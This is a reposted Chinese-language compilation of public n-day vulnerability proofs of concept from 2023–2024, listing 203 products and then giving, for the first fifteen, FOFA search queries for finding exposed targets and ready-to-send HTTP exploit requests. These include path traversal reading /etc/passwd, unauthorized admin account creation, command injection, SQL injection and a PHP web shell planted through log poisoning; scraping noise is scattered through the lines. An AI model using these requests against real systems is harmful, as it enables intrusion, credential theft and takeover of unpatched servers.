互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
. J6 W+ M; }" p8 |道一安全 2024-06-05 07:41 北京
% a, x, S+ T8 c$ i7 \, }以下文章来源于网络安全新视界 ，作者网络安全新视界

0 X8 p) k& t; K: ^) ]* m, Z! o8 T发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

. Y4 `* M8 R3 e) x1 k漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

4 P' E. ~- S3 @5 w安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
% K! Y5 f: z% Y
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
( g$ B- v5 n, j. @( }5 e' V
" S4 G  G+ [$ F4 {7 j( n- Q合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明

: o# L( C+ f/ f, C) t4 W为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
0 P6 d% q7 e, i9 B
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
7 _* {& Z8 @0 V+ }# {. v4 s

$ Y# s! S8 m" g9 ^8 S/ |! _0 u
目录

01
+ b& e. T1 i4 ]1 e
' [! _1 K" ~7 X0 f1 C1. StarRocks MPP数据库未授权访问
7 U' v. U% }+ g! B7 z' A' Q- ~2. Casdoor系统static任意文件读取
; g; W+ M' f$ }( l3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
9 r8 |3 T' R* Q4 h5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
  n3 J5 c, b+ B: U/ x7. 鸿运主动安全监控云平台任意文件下载
- E% ^: c; o' U4 V0 e: O8. 斐讯 Phicomm 路由器RCE
- |; ]3 A% l  k1 {; g9. 稻壳CMS keyword 未授权SQL注入
+ ^" l4 ^& `$ K10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
- ]) j  A# h1 o' y) d6 q: q11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
7 d0 G6 Y. [' I# o5 ]13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
; W4 U3 K7 I; N' s2 n1 E8 i; i16. 红帆HFOffice医微云SQL注入
; Z+ x5 R& r& u2 |' Z. S17. 大华 DSS itcBulletin SQL 注入
7 F& r/ w& Z' G3 v% }6 \; O18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
6 M# r) ?. x9 q+ B20. 大华ICC智能物联综合管理平台任意文件读取
# k8 R* N2 K7 |- Z8 y0 g, H21. 大华ICC智能物联综合管理平台random远程代码执行
# ]( C7 ?( Z) R2 v22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 |7 o7 ~( W7 N# [( I: F0 y1 q23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
. p( g$ l# S/ q( q' G25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
( q" U# Y2 i  H8 n, x27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
5 r" J- p; r- i) B29. 用友NC down/bill SQL注入
7 W" f% ~( M3 _) M: u& b! Z2 d30. 用友NC importPml SQL注入
0 f/ x: m  K8 c8 R" [* K7 S( e31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
/ [- B9 j# I' g( e, Q' L# P33. 用友NC downTax/download SQL注入
) j& G, d; v1 {; `; b# _34. 用友NC warningDetailInfo接口SQL注入
& a" d- Q/ E2 W6 P35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
- [: q% c! C: _0 a" |40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
; v1 e' N! Y* F( }42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
0 B5 k! l  Q& h45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
! X( Z- \+ O2 O( G1 V48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 u: Z& \; j8 E0 \5 z( l50. QDocs Smart School 6.4.1 filterRecords SQL注入
. u- l+ v9 h4 x9 Z51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
) u" k' N4 W' y) P& a2 r2 x6 N8 M54. 畅捷通T+ getstorewarehousebystore 远程代码执行
2 y# P0 u, f3 m55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
+ a+ ]+ c4 O/ R1 M6 M57. 畅捷通T+ keyEdit.aspx SQL注入
6 J  Y. j9 \8 f+ T# b- Z8 o58. 畅捷通T+ KeyInfoList.aspx sql注入
9 {/ Q9 T' ~6 }7 v59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
  Q1 l; Q1 [, B2 x7 \8 _$ i61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
2 \0 ~' D. n' V/ z6 h& R2 ^6 G7 D67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
! x% c' ~/ B/ R73. GeoServer wms远程代码执行
7 I2 n* o& `6 O74. 致远M3-server 6_1sp1 反序列化RCE
* I" `2 t8 w) h75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
( z0 K+ Y: R. B1 ]2 a: }76. 新开普掌上校园服务管理平台service.action远程命令执行
, P6 N6 ?) T9 }77. F22服装管理软件系统UploadHandler.ashx任意文件上传
7 }/ B/ @7 e; v5 f& t78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
# L* C% W, [4 z- i, H8 E+ ?80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
0 A/ O" ~0 Z4 Y2 A9 M1 a& B84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
& V' F- |' S4 i: f; ~( |; A87. 安恒明御安全网关aaa_local_web_preview文件上传
: w7 W- B5 n* M! e" k4 b88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
( t* n& m6 b! O2 A92. 海康威视运行管理中心session命令执行
# f  [: h" Y) B5 q  P93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
: ^8 \% z0 Q0 L( Z% B3 ], k94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
, P. h) o. d9 l* [( n97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
3 b1 G/ d6 V- j) }- r% ~99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
2 E* w0 H7 b8 P3 U$ ~101. ivanti policy secure-22.6命令注入
  c1 h' X, x# x9 O! Z102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
) s7 u! p7 k6 \: K- x  V! \' `103. Ivanti Pulse Connect Secure VPN XXE
" J/ ?* S8 y* T( d0 }3 Z104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
8 K1 ?/ z4 t, R, L4 b* q105. SpringBlade v3.2.0 export-user SQL 注入
+ t4 q& o: b( {4 u$ l2 B  G106. SpringBlade dict-biz/list SQL 注入
6 y0 ^' f0 l- @! G% N: h' c& l107. SpringBlade tenant/list SQL 注入
  u9 L& I  j/ F% {7 p& {% I108. D-Tale 3.9.0 SSRF
) w4 @! k# X) A) z+ q& {) T* d* d# s109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
* B5 u9 ~: ?, G6 c112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
+ k. X8 P: B: `0 l, J8 P; {2 \/ V115. WordPress Bricks Builder <= 1.9.6 RCE
) J2 ?! l2 {: k. h$ v116. wordpress js-support-ticket文件上传
& C. U! ?2 \4 n7 ]# U117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
' Y8 W3 \* n: V+ d9 K120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
6 H6 T4 j6 ^! p( s123. Atlassian Confluence 模板注入代码执行
$ e' q. V2 C* }9 H/ |124. 湖南建研工程质量检测系统任意文件上传
" W" ^0 Y9 @3 w& D- x9 F125. ConnectWise ScreenConnect身份验证绕过
& C! z; ^2 o& S8 a* m' l126. Aiohttp 路径遍历
* {% }0 }9 m+ ?9 }9 r127. 广联达Linkworks DataExchange.ashx XXE
% p+ r; ?: |0 T0 `5 J128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
0 x" L: Y# o" z& D- p# `131. Mini-Tmall <=20231017 SQL注入
5 D) q$ `+ U* [. z/ R% ~$ ?' @# D132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
& {4 Y: |% L. J- _1 n0 _133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
5 u" q" P1 U2 Y1 Q1 i135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
+ Z) f& L  h' Q1 q  B9 U$ E138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
, t5 s1 B2 s+ k! A140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
  B4 T) i6 O) P  X. t$ |141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
: e% I! B! f* I9 J  c5 T- j0 d142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
" z- h+ [& a" G1 y& D' n144. D-Link nas_sharing.cgi 命令注入
% q' W% |# k2 i5 H" H8 B  ~145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
/ V6 }0 }! }8 ^- v% x0 N147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
* K: E7 J( t: V148. CrushFTP 认证绕过模板注入
, E+ b! H$ `& i149. AJ-Report开源数据大屏存在远程命令执行
$ ?) V; K7 [) x9 ?' e150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
! f1 W( R( ^8 d% ?8 v154. 天维尔消防救援作战调度平台 SQL注入
1 u  T% H- i3 A7 _/ U7 w3 @2 n155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
2 M+ G' S9 k5 a1 x% m) Q7 V, z157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
/ m  }7 c* _+ c2 c! v) Q# Z159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
5 p5 }6 y+ Y" e$ [' s1 i161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
2 H" s+ L7 N- X, f  h162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
+ r4 B2 U/ y: x6 _% n5 P# u163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" B5 t1 {0 Y: @0 o4 i1 ~164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
& q% Q6 k' V5 ?* q( D, D168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
( k) R; y  `. {! E170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
7 a4 {) ]$ s( t4 \. h. ~7 V+ I172. DT-高清车牌识别摄像机任意文件读取
8 k: H/ o6 \0 x$ O6 |9 H173. Check Point 安全网关任意文件读取
1 `9 C( `, f' S% |174. 金和OA C6 FileDownLoad.aspx 任意文件读取
1 k$ s+ E7 I# K& b& o175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
% H, |, d1 ~0 l: ^5 s4 ~176. 电信网关配置管理系统 rewrite.php 文件上传
# q4 [: c6 ?, b; K177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
: k) v/ Q9 _- L182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
1 U  z( O7 O: X" S! ]7 m# B183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
* H4 E, w# v7 H" T0 v3 T$ a184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
, D1 F& Q3 l2 h# Q- m5 @4 [# D187. Mura CMS processAsyncObject SQL注入
  P5 Z# H7 b0 e. ]% h( j188. 叁体-佳会视频会议 attachment 任意文件读取
9 s# X7 z# b: C7 H189. 蓝网科技临床浏览系统 deleteStudy SQL注入
( w- K1 [6 x& [4 }4 k4 d( |% k0 y7 L8 T190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
0 B; v: W! s6 _/ J192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
4 C8 \5 e( m0 Q5 ^- O194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
9 R2 X, J- u: I1 L+ l195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
3 u+ {8 {/ t' z# G3 d" K) P  R196. 河南省风速科技统一认证平台密码重置
$ \  R9 J0 o3 C$ u0 k197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
2 A/ [. V, Z# ~' Q: o* u198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
# }/ S! S6 k$ E- V% m9 b9 b# z200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
9 e8 `5 ?; }4 k; W+ y5 g
& l) d: l* i5 Y: PPOC列表

& V# c8 E! N5 W% Y0 L02
; ~, k% V2 D/ A- [+ p
1. StarRocks MPP数据库未授权访问
5 ~, D' U/ j& v( _5 D, cFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL


5 r' m8 i$ {' ]/ K! o2. Casdoor系统static任意文件读取
9 E2 g! B( l* |  E. tFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 y; V  x3 I" I# h) g( HConnection: close
. \& s9 @, y' I* S2 Q- TAccept: */*
2 R/ Y" n9 B  I. |. K" h! QAccept-Language: en
Accept-Encoding: gzip
6 e& k# @5 ~3 `  X

3. EasyCVR智能边缘网关 userlist 信息泄漏
1 E" H2 ~7 P7 _9 {2 AFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

) G$ u" ^0 W+ S! O
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

2 {1 B2 h8 ]$ y2 Z* T& Gpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
  D7 a/ F6 q. w/ a& I& N3 fHost: your-ip
: s7 Y! _1 F+ q+ K# V, G1 b& fContent-Type: application/x-www-form-urlencoded; charset=UTF-8
- D0 p3 Q1 J  \5 R) }2 C
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

# ~' ]6 h0 H- ], V5 d2 v$ p3 N
6. 深信服 NGAF 任意文件读取
8 Q6 M8 k* i: T* r0 y# W; P8 uFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
* U+ C0 n# Q' ~% c* g/ E" J& yHost:
1 z! b7 i+ y* @; }# u
. }6 i' t1 v, m/ q  K
7. 鸿运主动安全监控云平台任意文件下载
7 P+ s2 l0 F- f. Q2 P. S, L- nFOFA：body="./open/webApi.html"
, O+ e: W7 J) u" q3 I  W7 E- c+ DGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

) N$ I" [# @4 q% h
, `1 v; Q# k% ^/ G  U, X- A$ O; n8. 斐讯 Phicomm 路由器RCE
5 v: x5 t$ @% O# T0 cFOFA：icon_hash="-1344736688"
6 I/ L3 z4 E& x# f- x9 @  J默认账号admin登录后台后，执行操作
$ G% ]# n8 K% g+ I! p1 X" }! B; hPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
* N7 z$ g$ R3 K7 i8 @: `4 JCookie: sysauth=第一步登录获取的cookie
5 [6 [2 N5 P+ k+ Q( `! M. F# sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
& O& v* o3 w$ W% P' H% y7 zUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 s: Y7 b# N+ ]) f
0 g: G' t) Z9 t$ }' J/ N! y------WebKitFormBoundaryxbgjoytz
! w  x4 N6 r0 AContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
6 B! T$ B( l; S# J; s& `------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
0 r+ l( X/ [8 D& _8 J, z8 Z# b( J" m
1 d. U% @( d  m- f& c+ h) C$ n  t12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
9 P2 i8 {# Y$ u
%s:
& J4 Q" D* A( }. f1 B. s------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--

$ o: {8 m2 P+ ~
+ u5 d' s! X' M: y8 j2 {9. 稻壳CMS keyword 未授权SQL注入
! }5 p( Z  w& ~* G' i+ X/ Q8 f/ J- HFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

+ }) E) P- w9 X
6 [& ^% M4 p7 d' ~: Z/ Ypayload为下列语句的二次Url编码
4 N5 i! n! X6 m2 ]
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
9 T9 R5 g( z+ T8 v; ^FOFA：icon_hash="953405444"

& _( f4 U) l' A! X$ K6 k文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& a& Q  R: w- P' Q8 k9 cAccept-Encoding: gzip, deflate
: s+ T0 k; P$ Z7 [. R, R4 ZAccept-Language: zh-CN,zh;q=0.9
# ^0 K, |* a1 r, m6 zConnection: close
0 x3 N' i1 ?' k: }5 q; \/ R( b. S7 bContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
0 J5 L/ `1 ^0 O9 W
) ~% m! I: q3 }( d: j2 u- D/ h------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
% \2 t& Z$ H( K8 p/ g9 _Content-Type: text/html

# e- ~" l4 |& z. `jmnqjfdsupxgfidopeixbgsxbf
: u8 Y/ r& x1 G$ J5 _% Q+ z6 ^------WebKitFormBoundaryxdgaqmqu--
4 t$ a$ O& Q1 Q, S: o% i

2 ~1 W/ Z7 ?2 A11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
; Z; D: p$ p# Q1 L0 H+ BGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
# W2 q1 O3 a# ~- M& |Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ G3 A8 m3 k- i- w& @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

! ^+ z7 B7 L( m( b+ C/ C- G
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
/ e7 s, w1 G, q4 Q/ h+ P' UGET /session/login HTTP/1.1
Host: 192.168.190.30
. {! g: d, {- I8 f  V3 P7 J# ]User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
* Y% m4 O$ A" d' xConnection: close
Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
4 E* M7 _  J- EHTTP/1.1 200 OK
Connection: close
0 X* @  h. `% G- fCache-Control: no-store, no-cache, must-revalidate
. d% l0 K8 h& m3 Z6 i/ jContent-Type: text/html; charset=UTF-8
9 B0 @' w  l1 l  V+ R4 z. MDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
: E2 [; p+ P* r8 X9 gSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
$ b# [: v! j7 |0 m$ g1 x

POST请求，执行函数并进行base64编码
$ g! Y2 b' t, f- [6 {POST /session/login HTTP/1.1
6 p; G. g% J) }4 B# mHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
+ P4 P# M4 {- O# I( BConnection: close
Content-Length: 252
: E% m1 W6 H7 @Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

( d0 q! I; o3 k% T; E! Q( G# a

. A8 k( ~( s0 H- b9 U7 S* }向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
' k+ |% W+ b) n; G4 dHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
$ ~  ]4 r4 V( [& y1 `* ?Connection: close
  s- f1 M) \6 o, G  @Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
/ Y8 K0 B4 }7 Q( DK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
2 A" B& a' Y# u, N( \2 z/ rAccept-Encoding: gzip
+ g6 I. x& |- B7 @
: [$ s$ M$ {; s1 e7 c1 E% S
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
5 j, a  s% }  s& J7 m9 X) Z7 ~GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 H7 d% ]- X. j) ^Connection: close
1 f+ o! a5 X: u8 F2 gAccept: */*
2 q8 e; u  [% K# cAccept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
% g% ^3 }+ A/ s, [2 V' dFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
7 t5 ]: O6 r% I8 {Host: x.x.x.x
* k2 R" |8 |  l4 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
. F# [3 s- r6 l7 I. A: S) Z7 ]4 s, b  hConnection: close
3 ~& a0 W1 S0 E, n; m$ gAccept: */*
Accept-Language: en
' }2 O2 M' f) f: i! aAccept-Encoding: gzip


3 }4 ^' h; R  P/ t& V+ n15. 华夏ERP getAllList信息泄露
3 S- W3 V6 w6 Y) S& C5 x! HCVE-2024-0490
FOFA：body="jshERP-boot"
- \8 }* q6 }: d& t$ Z1 ]泄露内容包括用户名密码
* G! f+ L! O3 e1 w- d& p2 WGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
9 K( M; O8 R. y6 j3 S5 Y1 aHost: 192.168.40.130:100
7 @% o: v& i+ nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
